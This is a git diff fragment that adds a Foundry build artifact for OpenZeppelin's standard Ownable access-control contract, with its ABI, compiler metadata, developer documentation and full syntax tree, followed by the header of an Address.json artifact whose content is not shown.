+{"abi":[{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"deployedBytecode":{"object":"0x","sourceMap":"","linkReferences":{}},"methodIdentifiers":{"owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Contract module which provides a basic access control mechanism, where there is an account (an owner) that can be granted exclusive access to specific functions. By default, the owner account will be the one that deploys the contract. This can later be changed with {transferOwnership}. This module is used through inheritance. It will make available the modifier `onlyOwner`, which can be applied to your functions to restrict their use to the owner.\",\"kind\":\"dev\",\"methods\":{\"constructor\":{\"details\":\"Initializes the contract setting the deployer as the initial owner.\"},\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":\"Ownable\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"}],"devdoc":{"kind":"dev","methods":{"constructor":{"details":"Initializes the contract setting the deployer as the initial owner."},"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":"Ownable"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol","id":46701,"exportedSymbols":{"Context":[48281],"Ownable":[46700]},"nodeType":"SourceUnit","src":"102:2521:23","nodes":[{"id":46589,"nodeType":"PragmaDirective","src":"102:23:23","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":46590,"nodeType":"ImportDirective","src":"127:30:23","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/utils/Context.sol","file":"../utils/Context.sol","nameLocation":"-1:-1:-1","scope":46701,"sourceUnit":48282,"symbolAliases":[],"unitAlias":""},{"id":46700,"nodeType":"ContractDefinition","src":"654:1968:23","nodes":[{"id":46595,"nodeType":"VariableDeclaration","src":"697:22:23","nodes":[],"constant":false,"mutability":"mutable","name":"_owner","nameLocation":"713:6:23","scope":46700,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46594,"name":"address","nodeType":"ElementaryTypeName","src":"697:7:23","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"private"},{"id":46601,"nodeType":"EventDefinition","src":"726:84:23","nodes":[],"anonymous":false,"eventSelector":"8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0","name":"OwnershipTransferred","nameLocation":"732:20:23","parameters":{"id":46600,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46597,"indexed":true,"mutability":"mutable","name":"previousOwner","nameLocation":"769:13:23","nodeType":"VariableDeclaration","scope":46601,"src":"753:29:23","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46596,"name":"address","nodeType":"ElementaryTypeName","src":"753:7:23","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":46599,"indexed":true,"mutability":"mutable","name":"newOwner","nameLocation":"800:8:23","nodeType":"VariableDeclaration","scope":46601,"src":"784:24:23","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46598,"name":"address","nodeType":"ElementaryTypeName","src":"784:7:23","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"752:57:23"}},{"id":46611,"nodeType":"FunctionDefinition","src":"912:63:23","nodes":[],"body":{"id":46610,"nodeType":"Block","src":"926:49:23","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":46606,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48271,"src":"955:10:23","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":46607,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"955:12:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46605,"name":"_transferOwnership","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46699,"src":"936:18:23","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":46608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"936:32:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46609,"nodeType":"ExpressionStatement","src":"936:32:23"}]},"documentation":{"id":46602,"nodeType":"StructuredDocumentation","src":"816:91:23","text":" @dev Initializes the contract setting the deployer as the initial owner."},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":46603,"nodeType":"ParameterList","parameters":[],"src":"923:2:23"},"returnParameters":{"id":46604,"nodeType":"ParameterList","parameters":[],"src":"926:0:23"},"scope":46700,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":46619,"nodeType":"ModifierDefinition","src":"1063:62:23","nodes":[],"body":{"id":46618,"nodeType":"Block","src":"1084:41:23","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"id":46614,"name":"_checkOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46642,"src":"1094:11:23","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$__$","typeString":"function () view"}},"id":46615,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1094:13:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46616,"nodeType":"ExpressionStatement","src":"1094:13:23"},{"id":46617,"nodeType":"PlaceholderStatement","src":"1117:1:23"}]},"documentation":{"id":46612,"nodeType":"StructuredDocumentation","src":"981:77:23","text":" @dev Throws if called by any account other than the owner."},"name":"onlyOwner","nameLocation":"1072:9:23","parameters":{"id":46613,"nodeType":"ParameterList","parameters":[],"src":"1081:2:23"},"virtual":false,"visibility":"internal"},{"id":46628,"nodeType":"FunctionDefinition","src":"1201:85:23","nodes":[],"body":{"id":46627,"nodeType":"Block","src":"1256:30:23","nodes":[],"statements":[{"expression":{"id":46625,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46595,"src":"1273:6:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":46624,"id":46626,"nodeType":"Return","src":"1266:13:23"}]},"documentation":{"id":46620,"nodeType":"StructuredDocumentation","src":"1131:65:23","text":" @dev Returns the address of the current owner."},"functionSelector":"8da5cb5b","implemented":true,"kind":"function","modifiers":[],"name":"owner","nameLocation":"1210:5:23","parameters":{"id":46621,"nodeType":"ParameterList","parameters":[],"src":"1215:2:23"},"returnParameters":{"id":46624,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46623,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":46628,"src":"1247:7:23","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46622,"name":"address","nodeType":"ElementaryTypeName","src":"1247:7:23","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1246:9:23"},"scope":46700,"stateMutability":"view","virtual":true,"visibility":"public"},{"id":46642,"nodeType":"FunctionDefinition","src":"1359:130:23","nodes":[],"body":{"id":46641,"nodeType":"Block","src":"1404:85:23","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":46637,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":46633,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46628,"src":"1422:5:23","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":46634,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1422:7:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[],"expression":{"argumentTypes":[],"id":46635,"name":"_msgSender","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":48271,"src":"1433:10:23","typeDescriptions":{"typeIdentifier":"t_function_internal_view$__$returns$_t_address_$","typeString":"function () view returns (address)"}},"id":46636,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1433:12:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"1422:23:23","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572","id":46638,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1447:34:23","typeDescriptions":{"typeIdentifier":"t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe","typeString":"literal_string \"Ownable: caller is not the owner\""},"value":"Ownable: caller is not the owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_9924ebdf1add33d25d4ef888e16131f0a5687b0580a36c21b5c301a6c462effe","typeString":"literal_string \"Ownable: caller is not the owner\""}],"id":46632,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"1414:7:23","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":46639,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1414:68:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46640,"nodeType":"ExpressionStatement","src":"1414:68:23"}]},"documentation":{"id":46629,"nodeType":"StructuredDocumentation","src":"1292:62:23","text":" @dev Throws if the sender is not the owner."},"implemented":true,"kind":"function","modifiers":[],"name":"_checkOwner","nameLocation":"1368:11:23","parameters":{"id":46630,"nodeType":"ParameterList","parameters":[],"src":"1379:2:23"},"returnParameters":{"id":46631,"nodeType":"ParameterList","parameters":[],"src":"1404:0:23"},"scope":46700,"stateMutability":"view","virtual":true,"visibility":"internal"},{"id":46656,"nodeType":"FunctionDefinition","src":"1831:101:23","nodes":[],"body":{"id":46655,"nodeType":"Block","src":"1885:47:23","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"30","id":46651,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1922:1:23","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":46650,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1914:7:23","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":46649,"name":"address","nodeType":"ElementaryTypeName","src":"1914:7:23","typeDescriptions":{}}},"id":46652,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1914:10:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46648,"name":"_transferOwnership","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46699,"src":"1895:18:23","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":46653,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1895:30:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46654,"nodeType":"ExpressionStatement","src":"1895:30:23"}]},"documentation":{"id":46643,"nodeType":"StructuredDocumentation","src":"1495:331:23","text":" @dev Leaves the contract without owner. It will not be possible to call\n `onlyOwner` functions anymore. Can only be called by the current owner.\n NOTE: Renouncing ownership will leave the contract without an owner,\n thereby removing any functionality that is only available to the owner."},"functionSelector":"715018a6","implemented":true,"kind":"function","modifiers":[{"id":46646,"kind":"modifierInvocation","modifierName":{"id":46645,"name":"onlyOwner","nameLocations":["1875:9:23"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"1875:9:23"},"nodeType":"ModifierInvocation","src":"1875:9:23"}],"name":"renounceOwnership","nameLocation":"1840:17:23","parameters":{"id":46644,"nodeType":"ParameterList","parameters":[],"src":"1857:2:23"},"returnParameters":{"id":46647,"nodeType":"ParameterList","parameters":[],"src":"1885:0:23"},"scope":46700,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":46679,"nodeType":"FunctionDefinition","src":"2081:198:23","nodes":[],"body":{"id":46678,"nodeType":"Block","src":"2151:128:23","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":46670,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":46665,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46659,"src":"2169:8:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":46668,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2189:1:23","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":46667,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2181:7:23","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":46666,"name":"address","nodeType":"ElementaryTypeName","src":"2181:7:23","typeDescriptions":{}}},"id":46669,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2181:10:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2169:22:23","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373","id":46671,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2193:40:23","typeDescriptions":{"typeIdentifier":"t_stringliteral_245f15ff17f551913a7a18385165551503906a406f905ac1c2437281a7cd0cfe","typeString":"literal_string \"Ownable: new owner is the zero address\""},"value":"Ownable: new owner is the zero address"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_245f15ff17f551913a7a18385165551503906a406f905ac1c2437281a7cd0cfe","typeString":"literal_string \"Ownable: new owner is the zero address\""}],"id":46664,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"2161:7:23","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":46672,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2161:73:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46673,"nodeType":"ExpressionStatement","src":"2161:73:23"},{"expression":{"arguments":[{"id":46675,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46659,"src":"2263:8:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":46674,"name":"_transferOwnership","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46699,"src":"2244:18:23","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$__$","typeString":"function (address)"}},"id":46676,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2244:28:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46677,"nodeType":"ExpressionStatement","src":"2244:28:23"}]},"documentation":{"id":46657,"nodeType":"StructuredDocumentation","src":"1938:138:23","text":" @dev Transfers ownership of the contract to a new account (`newOwner`).\n Can only be called by the current owner."},"functionSelector":"f2fde38b","implemented":true,"kind":"function","modifiers":[{"id":46662,"kind":"modifierInvocation","modifierName":{"id":46661,"name":"onlyOwner","nameLocations":["2141:9:23"],"nodeType":"IdentifierPath","referencedDeclaration":46619,"src":"2141:9:23"},"nodeType":"ModifierInvocation","src":"2141:9:23"}],"name":"transferOwnership","nameLocation":"2090:17:23","parameters":{"id":46660,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46659,"mutability":"mutable","name":"newOwner","nameLocation":"2116:8:23","nodeType":"VariableDeclaration","scope":46679,"src":"2108:16:23","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46658,"name":"address","nodeType":"ElementaryTypeName","src":"2108:7:23","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2107:18:23"},"returnParameters":{"id":46663,"nodeType":"ParameterList","parameters":[],"src":"2151:0:23"},"scope":46700,"stateMutability":"nonpayable","virtual":true,"visibility":"public"},{"id":46699,"nodeType":"FunctionDefinition","src":"2433:187:23","nodes":[],"body":{"id":46698,"nodeType":"Block","src":"2496:124:23","nodes":[],"statements":[{"assignments":[46686],"declarations":[{"constant":false,"id":46686,"mutability":"mutable","name":"oldOwner","nameLocation":"2514:8:23","nodeType":"VariableDeclaration","scope":46698,"src":"2506:16:23","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46685,"name":"address","nodeType":"ElementaryTypeName","src":"2506:7:23","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":46688,"initialValue":{"id":46687,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46595,"src":"2525:6:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"2506:25:23"},{"expression":{"id":46691,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":46689,"name":"_owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46595,"src":"2541:6:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":46690,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46682,"src":"2550:8:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"2541:17:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":46692,"nodeType":"ExpressionStatement","src":"2541:17:23"},{"eventCall":{"arguments":[{"id":46694,"name":"oldOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46686,"src":"2594:8:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":46695,"name":"newOwner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46682,"src":"2604:8:23","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":46693,"name":"OwnershipTransferred","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":46601,"src":"2573:20:23","typeDescriptions":{"typeIdentifier":"t_function_event_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address)"}},"id":46696,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2573:40:23","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46697,"nodeType":"EmitStatement","src":"2568:45:23"}]},"documentation":{"id":46680,"nodeType":"StructuredDocumentation","src":"2285:143:23","text":" @dev Transfers ownership of the contract to a new account (`newOwner`).\n Internal function without access restriction."},"implemented":true,"kind":"function","modifiers":[],"name":"_transferOwnership","nameLocation":"2442:18:23","parameters":{"id":46683,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46682,"mutability":"mutable","name":"newOwner","nameLocation":"2469:8:23","nodeType":"VariableDeclaration","scope":46699,"src":"2461:16:23","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":46681,"name":"address","nodeType":"ElementaryTypeName","src":"2461:7:23","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2460:18:23"},"returnParameters":{"id":46684,"nodeType":"ParameterList","parameters":[],"src":"2496:0:23"},"scope":46700,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"}],"abstract":true,"baseContracts":[{"baseName":{"id":46592,"name":"Context","nameLocations":["683:7:23"],"nodeType":"IdentifierPath","referencedDeclaration":48281,"src":"683:7:23"},"id":46593,"nodeType":"InheritanceSpecifier","src":"683:7:23"}],"canonicalName":"Ownable","contractDependencies":[],"contractKind":"contract","documentation":{"id":46591,"nodeType":"StructuredDocumentation","src":"159:494:23","text":" @dev Contract module which provides a basic access control mechanism, where\n there is an account (an owner) that can be granted exclusive access to\n specific functions.\n By default, the owner account will be the one that deploys the contract. This\n can later be changed with {transferOwnership}.\n This module is used through inheritance. It will make available the modifier\n `onlyOwner`, which can be applied to your functions to restrict their use to\n the owner."},"fullyImplemented":true,"linearizedBaseContracts":[46700,48281],"name":"Ownable","nameLocation":"672:7:23","scope":46701,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":23} \ No newline at end of file diff --git a/contracts/out/contracts/utils/Address.sol/Address.json b/contracts/out/contracts/utils/Address.sol/Address.json new file mode 100644 index 000000000..b82944286 --- /dev/null +++ b/contracts/out/contracts/utils/Address.sol/Address.json @@ -0,0 +1 @@ 